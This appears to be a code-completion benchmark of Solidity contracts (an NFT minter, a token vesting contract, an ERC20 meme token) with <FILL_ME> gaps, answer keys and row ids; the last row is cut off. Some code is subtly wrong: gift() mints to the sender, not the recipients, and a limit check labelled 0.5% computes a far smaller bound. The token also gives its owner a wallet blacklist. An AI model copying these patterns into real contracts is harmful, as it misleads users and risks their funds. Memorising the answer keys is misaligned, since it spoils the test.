// ,kKKKKKKKKKKKKKKKKKKKK0:
// .dKKKKKKKKKKKKKKKKKKKKKKd.
// ,OKKKKKKKKKKKKKKKKKKKKKKx.
// cKKKKKKKKKKKKKKKKKKKKKKKk'
// lKKKKKKKKKKKKKKKKKKKKKKKO,
// .oKKKKKKKKKKKKKKKKKKKKKKKO,
// .oKKKKKKKKKKKKKKKKKKKKKKKO,
// .oKKKKKKKKKKKKKKKKKKKKKKKk'
// cKKKKKKKKKKKKKKKKKKKKKKKd.
// ;0KKKKKKKKKKKKKKKKKKKKKKc
// .'. 'kKKKKKKKKKKKKKKKKKKKKKO;
// :OKOd;. .lKKKKKKKKKKKKKKKKKKKKKx. ...
// .l0KKKKKkl' 'x0KKKKKKKKKKKKKKKKOdo;.'lkOx;
// .ckKKKKKKKKK0d' .l0KKKKKKKKKKKKKKKl..:d0KKKKOc.
// .:kKKKKXXKKKKKKKk, ;0KKKKKKKKKKK0Od:,oOKKKKKKKK0x;
// 'xKKKKXKKKXKKKKKKKk, ;0KKKKKKKKKK0l. 'xKKKKKKKXKKKK0x,
// ,OKOkkOKOk0XKKKKKKKKx,c0KKKKXXKKKK0: 'xKKKKKKKKKKKKKKK0o.
// .o0l'. ....':,,oOOO0KKOOKKKKKKXKKKKK:.dKKKKKKXXXKO0XK00KKx'
// '' ....;lkKKKKKKKKXKKKKkkKKK000x::c;..,'..,dKo
// .'cd0KXXXXXXXXXXXXKKkl,''. .;,
// .,cxOKK0KXXXXXXXXXXXXK0Odlc;'.
// .,ok0K00000KXXXXXXXXXXXXK0000KK0Oxl,
// 'd0000000000KXXXXXXXXXXXXK00000000000o.
// ,k00000000000KXXXXXXXXXXXXK000000000000d.
// .xK00000000K0KKXXXXXXXXXXXXK00000000000K0c
// :000000000000KKXXXXXXXXXXXXK000000000000Ko.
// .oK00000000000KKXXXXXXXXX_cooked by @nftchef.
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./common/ERC721A.sol";
contract DivineSatoshi is ERC721A, Ownable, Pausable, ReentrancyGuard, PaymentSplitter {
using Strings for uint256;
uint128 public SUPPLY = 3000;
uint128 public MINT_LIMIT = 20;
uint128 public PRICE = 0.03 ether;
/// @dev enforce a per-address lifetime limit based on the mintBalances mapping
bool public walletLimit = true;
mapping(address => uint256) public mintBalances;
/// keckack256 hash of concatenated, individual item metadata attribute hashes
string public PROVENANCE_HASH;
string internal baseTokenURI;
address[] internal payees;
constructor(
string memory _initialURI,
address[] memory _payees,
uint256[] memory _shares
) payable ERC721A("Divine Satoshi", "DSAT") Pausable() PaymentSplitter(_payees, _shares) {
}
function purchase(uint256 _quantity) public payable nonReentrant whenNotPaused {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
//----------------------------------------------------------------------------
// Only Owner
//----------------------------------------------------------------------------
/**
* @notice Mint a single token to each address passed in through calldata
* @param _recipients Array of addresses to send a single token to
*/
function gift(address[] calldata _recipients) external onlyOwner {
uint256 recipients = _recipients.length;
require(<FILL_ME>)
for (uint256 i = 0; i < recipients; i++) {
_safeMint(msg.sender, 1);
}
}
function setPaused(bool _state) external onlyOwner {
}
function setWalletLimit(bool _state) external onlyOwner {
}
function setProvenance(string memory _provenance) external onlyOwner {
}
function setBaseURI(string memory _URI) external onlyOwner {
}
// @dev: blockchain is forever, you never know, you might need these...
function setPrice(uint128 _price) external onlyOwner {
}
function setPublicLimit(uint128 _limit) external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
}
| recipients+totalSupply()<=SUPPLY,"_quantity exceeds supply" | 497,851 | recipients+totalSupply()<=SUPPLY |
"TokenVesting: payee already has a vesting schedule" | //SPDX-License-Identifier: MIT
pragma solidity >=0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libraries/SafeMath.sol";
/**
* Default vesting contract
* vesting schedules can be added and revoked
* vesting schedule has start time, initial release, vesting period and cliff
*/
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeMath128 for uint128;
using SafeMath64 for uint64;
using SafeMath32 for uint32;
using SafeERC20 for IERC20;
/**
* @notice Vesting Schedule per Payee
* @dev uses total uint512 (2 slots x uint256)
*/
struct VestingSchedule {
// total vested amount
uint128 amount;
// total claimed amount
uint128 claimed;
// vesting start time
// Using uint32 should be good enough until '2106-02-07T06:28:15+00:00'
uint64 startTime;
// total vesting period e.g 2 years
uint32 vestingPeriod;
// cliff period e.g 180 days
// 10 years = 315360000
// uint32.max = 4294967295
uint32 cliff;
// initial release amount after start, before cliff
uint128 initialRelease;
}
IERC20 private immutable _token;
// total allocation amount for vesting
uint256 private _totalAlloc;
// total claimed amount from payees
uint256 private _totalClaimed;
bool private _claimAllowed;
mapping(address => VestingSchedule) private _vestingSchedules;
event VestingAdded(address payee, uint256 amount);
event TokensClaimed(address payee, uint256 amount);
event VestingRevoked(address payee);
constructor(address token) {
}
/**
* @notice get vesting schedule by payee
* @param _payee address of payee
* @return amount total vesting amount
* @return startTime vesting start time
* @return vestingPeriod vesting period
* @return cliff cliff period
* @return initialRelease initial release amount
*/
function vestingSchedule(address _payee)
public
view
returns (
uint128,
uint128,
uint64,
uint32,
uint32,
uint128
)
{
}
/**
* @return total vesting allocation
*/
function totalAlloc() public view returns (uint256) {
}
/**
* @return total claimed amount
*/
function totalClaimed() public view returns (uint256) {
}
/**
* @return claim is allowed or not
*/
function claimAllowed() public view returns (bool) {
}
/**
* @notice set claim allowed status
* @param allowed bool value to set _claimAllowed
*/
function setClaimAllowed(bool allowed) external onlyOwner {
}
/**
* @notice add vesting schedules from array inputs
* @param _payees array of payee addresses
* @param _amounts array of total vesting amounts
* @param _startTimes array of vesting start times
* @param _vestingPeriods array of vesting periods
* @param _cliffs array of cliff periods
* @param _initialReleases array of initial release amounts
*/
function addVestingSchedules(
address[] calldata _payees,
uint256[] calldata _amounts,
uint64[] calldata _startTimes,
uint32[] calldata _vestingPeriods,
uint32[] calldata _cliffs,
uint128[] calldata _initialReleases
) external onlyOwner {
}
/**
* @notice add vesting schedule
* @param _payee payee addresse
* @param _amount total vesting amount
* @param _startTime vesting start time
* @param _vestingPeriod vesting period
* @param _cliff cliff period
* @param _initialRelease initial release amount
*/
function _addVestingSchedule(
address _payee,
uint256 _amount,
uint64 _startTime,
uint32 _vestingPeriod,
uint32 _cliff,
uint128 _initialRelease
) private {
require(_payee != address(0), "TokenVesting: payee is the zero address");
require(_amount > 0, "TokenVesting: amount is 0");
require(<FILL_ME>)
require(_vestingPeriod > 0, "TokenVesting: total period is 0");
require(_cliff <= _vestingPeriod, "TokenVesting: vestingPeriod is less than cliff");
require(_initialRelease < _amount, "TokenVesting: initial release is larger than total alloc");
require(
_initialRelease < (_amount * _cliff) / _vestingPeriod,
"TokenVesting: initial release is larger than cliff alloc"
);
_vestingSchedules[_payee] = VestingSchedule({
amount: _amount.to128(),
claimed: 0,
startTime: _startTime,
vestingPeriod: _vestingPeriod,
cliff: _cliff,
initialRelease: _initialRelease
});
_totalAlloc = _totalAlloc.add(_amount);
emit VestingAdded(_payee, _amount);
}
/**
* @notice revoke vesting schedule
* @param _payee payee addresse
*/
function revokeVestingSchedule(address _payee) external onlyOwner {
}
/**
* @notice claim available vested funds
* @param _amount token amount to claim from vested amounts
*/
function claim(uint256 _amount) external {
}
/**
* @return available amount to claim
* @param _payee address of payee
*/
function claimableAmount(address _payee) public view returns (uint256) {
}
/**
* @notice withdraw amount of token from vesting contract to owner
* @param _amount token amount to withdraw from contract
*/
function withdraw(uint256 _amount) external onlyOwner {
}
/**
* @notice withdraw all token from vesting contract to owner
*/
function withdrawAll() external onlyOwner {
}
}
| _vestingSchedules[_payee].amount==0,"TokenVesting: payee already has a vesting schedule" | 497,882 | _vestingSchedules[_payee].amount==0 |
"TokenVesting: initial release is larger than cliff alloc" | //SPDX-License-Identifier: MIT
pragma solidity >=0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libraries/SafeMath.sol";
/**
* Default vesting contract
* vesting schedules can be added and revoked
* vesting schedule has start time, initial release, vesting period and cliff
*/
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeMath128 for uint128;
using SafeMath64 for uint64;
using SafeMath32 for uint32;
using SafeERC20 for IERC20;
/**
* @notice Vesting Schedule per Payee
* @dev uses total uint512 (2 slots x uint256)
*/
struct VestingSchedule {
// total vested amount
uint128 amount;
// total claimed amount
uint128 claimed;
// vesting start time
// Using uint32 should be good enough until '2106-02-07T06:28:15+00:00'
uint64 startTime;
// total vesting period e.g 2 years
uint32 vestingPeriod;
// cliff period e.g 180 days
// 10 years = 315360000
// uint32.max = 4294967295
uint32 cliff;
// initial release amount after start, before cliff
uint128 initialRelease;
}
IERC20 private immutable _token;
// total allocation amount for vesting
uint256 private _totalAlloc;
// total claimed amount from payees
uint256 private _totalClaimed;
bool private _claimAllowed;
mapping(address => VestingSchedule) private _vestingSchedules;
event VestingAdded(address payee, uint256 amount);
event TokensClaimed(address payee, uint256 amount);
event VestingRevoked(address payee);
constructor(address token) {
}
/**
* @notice get vesting schedule by payee
* @param _payee address of payee
* @return amount total vesting amount
* @return startTime vesting start time
* @return vestingPeriod vesting period
* @return cliff cliff period
* @return initialRelease initial release amount
*/
function vestingSchedule(address _payee)
public
view
returns (
uint128,
uint128,
uint64,
uint32,
uint32,
uint128
)
{
}
/**
* @return total vesting allocation
*/
function totalAlloc() public view returns (uint256) {
}
/**
* @return total claimed amount
*/
function totalClaimed() public view returns (uint256) {
}
/**
* @return claim is allowed or not
*/
function claimAllowed() public view returns (bool) {
}
/**
* @notice set claim allowed status
* @param allowed bool value to set _claimAllowed
*/
function setClaimAllowed(bool allowed) external onlyOwner {
}
/**
* @notice add vesting schedules from array inputs
* @param _payees array of payee addresses
* @param _amounts array of total vesting amounts
* @param _startTimes array of vesting start times
* @param _vestingPeriods array of vesting periods
* @param _cliffs array of cliff periods
* @param _initialReleases array of initial release amounts
*/
function addVestingSchedules(
address[] calldata _payees,
uint256[] calldata _amounts,
uint64[] calldata _startTimes,
uint32[] calldata _vestingPeriods,
uint32[] calldata _cliffs,
uint128[] calldata _initialReleases
) external onlyOwner {
}
/**
* @notice add vesting schedule
* @param _payee payee addresse
* @param _amount total vesting amount
* @param _startTime vesting start time
* @param _vestingPeriod vesting period
* @param _cliff cliff period
* @param _initialRelease initial release amount
*/
function _addVestingSchedule(
address _payee,
uint256 _amount,
uint64 _startTime,
uint32 _vestingPeriod,
uint32 _cliff,
uint128 _initialRelease
) private {
require(_payee != address(0), "TokenVesting: payee is the zero address");
require(_amount > 0, "TokenVesting: amount is 0");
require(_vestingSchedules[_payee].amount == 0, "TokenVesting: payee already has a vesting schedule");
require(_vestingPeriod > 0, "TokenVesting: total period is 0");
require(_cliff <= _vestingPeriod, "TokenVesting: vestingPeriod is less than cliff");
require(_initialRelease < _amount, "TokenVesting: initial release is larger than total alloc");
require(<FILL_ME>)
_vestingSchedules[_payee] = VestingSchedule({
amount: _amount.to128(),
claimed: 0,
startTime: _startTime,
vestingPeriod: _vestingPeriod,
cliff: _cliff,
initialRelease: _initialRelease
});
_totalAlloc = _totalAlloc.add(_amount);
emit VestingAdded(_payee, _amount);
}
/**
* @notice revoke vesting schedule
* @param _payee payee addresse
*/
function revokeVestingSchedule(address _payee) external onlyOwner {
}
/**
* @notice claim available vested funds
* @param _amount token amount to claim from vested amounts
*/
function claim(uint256 _amount) external {
}
/**
* @return available amount to claim
* @param _payee address of payee
*/
function claimableAmount(address _payee) public view returns (uint256) {
}
/**
* @notice withdraw amount of token from vesting contract to owner
* @param _amount token amount to withdraw from contract
*/
function withdraw(uint256 _amount) external onlyOwner {
}
/**
* @notice withdraw all token from vesting contract to owner
*/
function withdrawAll() external onlyOwner {
}
}
| _initialRelease<(_amount*_cliff)/_vestingPeriod,"TokenVesting: initial release is larger than cliff alloc" | 497,882 | _initialRelease<(_amount*_cliff)/_vestingPeriod |
"Cannot set maxTxn lower than 0.5%" | // SPDX-License-Identifier: MIT
pragma solidity =0.8.16;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract BSD is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public tradingActive = false;
bool public swapEnabled = false;
uint256 public buyTotalFees;
uint256 private buyMarketingFee;
uint256 private buyLiquidityFee;
uint256 public sellTotalFees;
uint256 private sellMarketingFee;
uint256 private sellLiquidityFee;
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
uint256 private previousFee;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("Black Sunday", "BSD") {
}
receive() external payable {}
function enableTrading() external onlyOwner {
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
}
function updateMaxWalletAndTxnAmount(uint256 newTxnNum, uint256 newMaxWalletNum) external onlyOwner {
require(<FILL_ME>)
require(
newMaxWalletNum >= ((totalSupply() * 5) / 100000000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newMaxWalletNum * (10**18);
maxTransactionAmount = newTxnNum * (10**18);
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee
) external onlyOwner {
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee
) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
}
| newTxnNum>=((totalSupply()*5)/100000000)/1e18,"Cannot set maxTxn lower than 0.5%" | 497,962 | newTxnNum>=((totalSupply()*5)/100000000)/1e18 |
"Cannot set maxWallet lower than 0.5%" | // SPDX-License-Identifier: MIT
pragma solidity =0.8.16;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract BSD is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public tradingActive = false;
bool public swapEnabled = false;
uint256 public buyTotalFees;
uint256 private buyMarketingFee;
uint256 private buyLiquidityFee;
uint256 public sellTotalFees;
uint256 private sellMarketingFee;
uint256 private sellLiquidityFee;
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
uint256 private previousFee;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("Black Sunday", "BSD") {
}
receive() external payable {}
function enableTrading() external onlyOwner {
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
}
function updateMaxWalletAndTxnAmount(uint256 newTxnNum, uint256 newMaxWalletNum) external onlyOwner {
require(
newTxnNum >= ((totalSupply() * 5) / 100000000) / 1e18,
"Cannot set maxTxn lower than 0.5%"
);
require(<FILL_ME>)
maxWallet = newMaxWalletNum * (10**18);
maxTransactionAmount = newTxnNum * (10**18);
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee
) external onlyOwner {
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee
) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
